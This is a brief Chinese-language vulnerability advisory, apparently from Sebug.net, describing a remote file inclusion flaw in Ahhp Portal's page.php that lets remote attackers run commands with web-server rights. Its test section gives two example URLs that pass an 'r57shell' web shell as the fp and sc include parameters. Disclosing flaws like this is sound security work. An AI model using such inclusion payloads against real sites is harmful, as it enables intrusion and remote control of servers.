影响版本: 
Ahhp-Portal  
详细说明: 
Ahhp Portal是一款基于PHP的WEB应用程序。 

Ahhp Portal不正确过滤用户提交的输入，远程攻击者可以利用漏洞以WEB权限执行任意命令。 

问题是’Page.PHP’脚本对用户提交的WEB参数缺少过滤，指定远程服务器上的文件作为包含参数，可导致以WEB权限执行任意命令。 


参考: 
漏洞提供者 
CodeXpLoder’tq 
解决方案: 
目前没有解决方案提供： 

http://www.ahhope.org/ 
测试方法: 

[警 告] 

以下程序(方法)可能带有攻击性,仅供安全研究与教学之用.风险自负! 

http://www.example.com/page.php?fp=r57shell? 
http://www.example.com/page.php?sc=r57shell?  
//Sebug.net